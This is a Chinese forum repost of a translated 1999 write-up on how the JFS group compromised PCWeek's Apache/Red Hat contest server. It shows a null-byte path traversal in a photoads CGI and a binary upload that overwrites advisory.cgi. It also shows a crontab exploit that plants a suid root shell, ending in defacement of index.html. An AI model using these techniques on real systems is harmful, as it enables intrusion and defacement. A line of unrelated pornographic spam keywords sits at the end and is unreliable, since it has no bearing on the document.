JFS侵入PCWEEK-LINUX主機(jī)的詳細(xì)過程

只看該作者 · 發(fā)表于 2011-1-13 17:09:26

譯者注：PCWeek-Linux 主機(jī)是著名電腦雜志 PCWeek 為了測試 WEB 服務(wù)器 IIS（NT平臺(tái)）
和 Apache（Linux平臺(tái)）的安全性，提供給黑客/駭客攻擊的兩臺(tái)主機(jī)之一。另一臺(tái)主機(jī)安裝
的是 IIS（NT平臺(tái)）。詳細(xì)情況請(qǐng)?jiān)L問網(wǎng)站：http://www.hackpcweek.com/。

首先要進(jìn)行的當(dāng)然是——收集遠(yuǎn)端主機(jī)信息：打開的端口和提供的網(wǎng)絡(luò)服務(wù)等。經(jīng)過掃
描后發(fā)現(xiàn)大多數(shù)端口都被過濾掉了，原因可能是安裝了防火墻或設(shè)置了 TCP-Wrapper 。所
以我們只能從 HTTP 服務(wù)器著手了。

lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0

HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#

嗯，服務(wù)器操作系統(tǒng)是 Red Hat，WEB服務(wù)器是 Apache/1.3.6。從網(wǎng)頁上可知服務(wù)器安
裝了 mod_perl，但只有一個(gè) fingerprint 功能，對(duì)我們沒有什么用處。
Apache 1.3.6 本身沒有包含任何可供遠(yuǎn)端用戶使用的CGI程序，但我們不清楚Red Hat
的發(fā)行版本中是否有，所以我們進(jìn)行了一些測試（test-cgi, wwwboard, count.cgi等）。
結(jié)果令人失望。于是我們嘗試找出網(wǎng)站的結(jié)構(gòu)。經(jīng)過對(duì)該網(wǎng)站HTML頁的分析，終于找出
了網(wǎng)站DocumentRoot下的目錄結(jié)構(gòu)：

/
/cgi-bin
/photoads/
/photoads/cgi-bin

很自然地，我們的眼光落在 photoads 這個(gè)安裝模塊上。該商用CGI包可在"http://
www.hoffoce.com"找到，價(jià)格為$149，包括供檢查和修改用的PERL源代碼。
我們找到一個(gè)朋友，了解和掌握 photoads 在 Linux 平臺(tái)上的安裝情況，從而大致清楚
運(yùn)行在該主機(jī)上的 photoads。
檢查了缺省安裝的文件后，我們發(fā)現(xiàn)可以取得所有用戶名及其口令的數(shù)據(jù)庫（http://
securelinux.hackpcweek.com/photoads/ads_data.pl），但當(dāng)我們?cè)噲D訪問配置文件
/photoads/cgi-bin/photo_cfg.pl 時(shí)，服務(wù)器的設(shè)置拒絕了這個(gè)請(qǐng)求。
通過 /photoads/cgi-bin/env.cgi，我們可以知道該服務(wù)器的許多詳細(xì)情況，如
DocumentRoot 在文件系統(tǒng)的位置（/home/httpd/html），運(yùn)行 Apache 服務(wù)器的用戶（
nobody）等。
現(xiàn)在，開始尋找漏洞的第一步，我們嘗試尋找是否存在 SSI 或 mod_perl 嵌入 HTML
命令的漏洞，如：

 for SSI
 for mod_perl

但腳本中的匹配表達(dá)式卻在許多輸入域上過濾此類輸入。不過與此同時(shí)我們卻發(fā)現(xiàn)有一
個(gè)用戶賦值的變量在轉(zhuǎn)換成 HTML 代碼前，并沒有檢查其值的合法性。我們可以通過它將命
令嵌入到由服務(wù)器端解析的 HTML 代碼中：

在 post.cgi，行 36：
print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";

$ENV{'HTTP_REFERER'}是一個(gè)用戶賦值的變量，我們可以通過它將任何 HTML 嵌入到代
碼中。
請(qǐng)閱讀我們提供的文件 getit.ssi 和 getit.mod_perl。
在命令行下使用這些文件如下：

lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80

但不幸的是，該主機(jī)的配置并不允許 SSI 或 mod_perl，所以我們無法利用這個(gè)方法侵
入系統(tǒng)。

因此我們決定在CGI腳本中尋找缺口。在PERL腳本中許多漏洞往往出現(xiàn)在 open()、
system() 或 `` 等調(diào)用中，前一個(gè)允許讀/寫/執(zhí)行，而后兩個(gè)允許執(zhí)行。
雖然在該主機(jī)找不到后兩種調(diào)用，但我們卻發(fā)現(xiàn)了一些 open() 調(diào)用：

lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more

advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
photo.cgi: open ( FILE, $filename );
(...)

$BaseDir 和 $DataFile 兩個(gè)變量是在配置文件中定義，且不能在運(yùn)行時(shí)修改，無法被
我們利用。
但其余兩個(gè)就……

在 photo.cgi，行 132：
$write_file = $Upload_Dir.$filename;

open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);

因此，如果我們可以修改 $write_file 變量，就可以寫文件系統(tǒng)中的任何文件。
$write_file 變量來自：

$write_file = $Upload_Dir.$filename;

其中，$Upload_Dir 在配置文件中定義，我們無法修改，但 $filename 變量又如何呢？

在 photo.cgi，行 226：
if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }

$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
}else{
{&Not_Valid_Image}
}

由此可知，該變量來自從提交表格的變量組分解出來的 $UPLOAD{'FILE_NAME'}，而且必
須經(jīng)過匹配表達(dá)式過濾，因此我們不能用"../../../../../../../../etc/passwd"格式來取
得任何文件。匹配表達(dá)式為：

$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

我們看到，如 $filename 與該表達(dá)式匹配，則返回ASCII碼1（SOH）。同時(shí)，變量還必
須包含"gif"或"jpg"，以通過 Not_Valid_Image 過濾器。
經(jīng)過多次嘗試，以及從 Phrack 的關(guān)于PERL CGI安全性文章的幫助，我們發(fā)現(xiàn)以下格式

/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif

可以成功修改WEB服務(wù)器根目錄下的index.html文件。:-)
然而，為了上載文件，我們?nèi)皂毨@過更多的腳本代碼。我們發(fā)現(xiàn)無法通過POST方法發(fā)送
包含上述內(nèi)容的表格（無法轉(zhuǎn)換%00），唯一的方法只能是GET。
在 photo.cgi ，行 256，會(huì)檢查被上載文件的內(nèi)容是否符合圖像定義（寬/長/大?。?font class="jammer">: X% j0 l5 m3 t7 Y/ w, v9 J
（記住，photo.cgi 是被當(dāng)作某個(gè)AD上載圖像的一個(gè)方法）。如果不符合這些細(xì)節(jié)，腳本將
刪除該上載文件。這當(dāng)然不是我們所希望的！
PCWeek 網(wǎng)站配置文件將 Imagesize 設(shè)為 0，所以我們可以忽略該腳本中有關(guān)JPG部分，
而將主要精力集中在GIF上。

if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
close FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
}

在 photo.cgi，行 140：

if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}

if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
}

由上可知，$PhotoWidth不能大于700，不能為空，且不能大于 $ImgWidth（缺省為350）
。
所以我們使 $PhotoWidth!="" 且 $Photowidth<350 即可。
對(duì)于 $PhotoHeight，則必須小于 $ImgHeight（缺省為250）。
綜合以上要求，我們可以得到一個(gè)可以使用的數(shù)據(jù)：$PhotoWidth==$PhotoHeight==0。
研究提取該值的腳本后，我們唯一要做的就是將文件的第6至第9字節(jié)的值置為 ASCII 碼 0
（NUL）。
在確保 FILE_CONTENT（文件內(nèi)容）符合以上所有要求后，我們又在以下代碼遇到了另一
個(gè)問題：

chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");

Show_Upload_Success($write_file);

哇！文件將被改名/移動(dòng)（這可是我們絕對(duì)不希望的?。?。
查找 $AdNum 變量的最終處理過程，我們發(fā)現(xiàn)它只能包含數(shù)字：

$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};

其余的字符將被刪除。因此我們不能直接應(yīng)用"../../../"這種方法。
那么，應(yīng)該怎樣做呢？我們看到 rename() 函數(shù)需要兩個(gè)參數(shù)：舊的路徑和新的路徑。
哈哈，在函數(shù)過程中沒有錯(cuò)誤檢查！當(dāng)函數(shù)出錯(cuò)后將跳到下一行繼續(xù)執(zhí)行！那么如何才能使
該函數(shù)失敗呢？Linux 內(nèi)核對(duì)文件名長度限制為1024字節(jié)。因此如能使腳本將文件改名時(shí)新
文件名超過1024字節(jié)長，即可繞過這個(gè)過濾器。
所以，下一步就是要向系統(tǒng)傳遞一個(gè)大約1024字節(jié)長的AD號(hào)碼。但由于腳本僅允許我們
發(fā)送對(duì)應(yīng)AD號(hào)碼已存在的圖片，而且由系統(tǒng)產(chǎn)生一個(gè)10^1024（10的1024次冪，即小數(shù)點(diǎn)前有
1024個(gè)數(shù)字——backend注）的AD號(hào)碼要花的時(shí)間對(duì)我們來說似乎太長了。;-)
我們又遇到另一個(gè)難題了！……

我們發(fā)現(xiàn)輸入錯(cuò)誤檢查函數(shù)可以幫助我們創(chuàng)建一個(gè)指定的AD號(hào)碼！瀏覽 edit.cgi 腳本
后，你也許就會(huì)想到：如果輸入是一個(gè)文件名+回車符+一個(gè)1024位的數(shù)字，會(huì)產(chǎn)生什么結(jié)果
呢？;-)
請(qǐng)閱讀用于創(chuàng)建新AD值的程序文件 long.adnum。
當(dāng)成功繞過 $AdNum 的檢查后，我們就可以讓腳本創(chuàng)建/覆蓋用戶 nobody 有權(quán)寫的任何
文件，其中包含了我們所希望的東西（GIF頭部的NUL除外）。

現(xiàn)在就讓我們對(duì)該主機(jī)試一試這個(gè)方法。
嗯，so far so good（一切順利）。但當(dāng)我們?cè)噲D讓腳本改寫 index.html 文件時(shí)無法
成功。:( 其中的原因可能是沒有覆蓋該文件的權(quán)限（該文件由root擁有）。

讓我們?cè)囈幌率欠襁€有其它入侵方法……

我們決定嘗試修改CGI程序，以使其按我們的意愿運(yùn)行:)。這種方法還可以讓我們搜尋那
些“絕密”文件，然后拿出動(dòng)賣。:)
我們修改了“覆蓋”腳本，并讓其成功地覆蓋了一個(gè)CGI！:) 為了不覆蓋那些較為重要
的CGI（這是提高隱蔽性的聰明法子——backend注），最后我們選擇了 advisory.cgi（你知
道它有什么用嗎？:)）
現(xiàn)在，我們將要上載一個(gè)shell腳本，以便我們可以執(zhí)行一些命令。呵呵
然而，這個(gè)以CGI方式運(yùn)行的shell腳本必須符合以下格式：

#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print

同時(shí)要記得，第6至第9字節(jié)必須為0或很小的值，以符合上面提及的大小定義……

#!/bi\00\00\00\00n/sh

以上這種方法是行不通的，內(nèi)核只會(huì)讀取前5個(gè)字節(jié)（#!/bi）內(nèi)容并執(zhí)行。在該主機(jī)中
我們無法只用三個(gè)字節(jié)去獲得一個(gè)shell。又遇到難題了！:(

讓我們看一下ELF（Linux缺省可執(zhí)行類型）二進(jìn)制文件格式，就會(huì)發(fā)現(xiàn)那些位置字節(jié)的
內(nèi)容均為0x00。:) Yohoo :)
解決了這個(gè)問題后，現(xiàn)在我們需要將這個(gè)ELF可執(zhí)行文件上載到遠(yuǎn)端服務(wù)器中。注意，文
件內(nèi)容必須經(jīng)過編碼，因?yàn)槲覀円阎乐荒芡ㄟ^GET方法上載，而不是POST。因此還要考慮到
URI的最大長度。Apache 服務(wù)器上URI最大長度設(shè)為8190字節(jié)。別忘了，我們還有一個(gè)很長的
1024字節(jié)的AD號(hào)碼，所以經(jīng)編碼后的ELF文件長度限制為大約7000字節(jié)。

以下這個(gè)程序：

lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/html\n\n\r");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}

編譯后：

lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*

優(yōu)化（清除symbols）后：

lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#

URL編碼后：

lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url

這個(gè)文件大小超過了限制值。:(
我們只能自行編輯二進(jìn)制文件以盡量減小文件體積。這可不是一件輕松的工作，但卻有
效：

lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#

請(qǐng)閱讀 get.sec.find文件，還有 to_url 腳本和用來運(yùn)行一些基本命令的*.c文件。

現(xiàn)在，將這個(gè)CGI上載到服務(wù)器，再用瀏覽器訪問它，如：

wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi

服務(wù)器返回的結(jié)果相當(dāng)于在服務(wù)器上執(zhí)行 find / 命令。:)
但我們?cè)谠摲?wù)器中找不到任何“絕密”文件，或許是nobody用戶無權(quán)訪問的緣故。:(
我們嘗試了更多的命令搜索，如ls等，但仍無法找到它們的蹤影。
[我懷疑這些文件是否真的保存在該服務(wù)器上！]

好了，現(xiàn)在是獲取 root 權(quán)限的時(shí)候了。利用最新發(fā)現(xiàn)的 Red Hat crontab 漏洞就可以
輕松做到這一點(diǎn)。該漏洞詳情請(qǐng)參閱 Bugtraq 或 securityfocus 上相關(guān)文檔。
我們修改了源程序以適應(yīng)自己的需要，因?yàn)槲覀儾恍杞换ナ?root shell，而是創(chuàng)建一個(gè)
用戶 nobody 可訪問的 suid root shell，如 /tmp/.bs。我們?cè)俅紊陷d該CGI，并運(yùn)行它，
觀察其運(yùn)行結(jié)果。
我們制作了執(zhí)行"ls /tmp"命令的CGI，執(zhí)行后確認(rèn)我們已擁有了一個(gè) suid root shell。
另外，我們還上載了一個(gè)文件 /tmp/xx，用于修改 index.html 文件。

execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);

好了。游戲結(jié)束！:)
總共花費(fèi)了大約20個(gè)小時(shí)，還算不錯(cuò)！呵呵。:)

賬號(hào)		自動(dòng)登錄	找回密碼
密碼			注冊(cè)

久久综合伊人噜噜色,日本三级香港三级人妇电影精品,亚洲中文色资源,国产高清一区二区三区人妖

JFS侵入PCWEEK-LINUX主機(jī)的詳細(xì)過程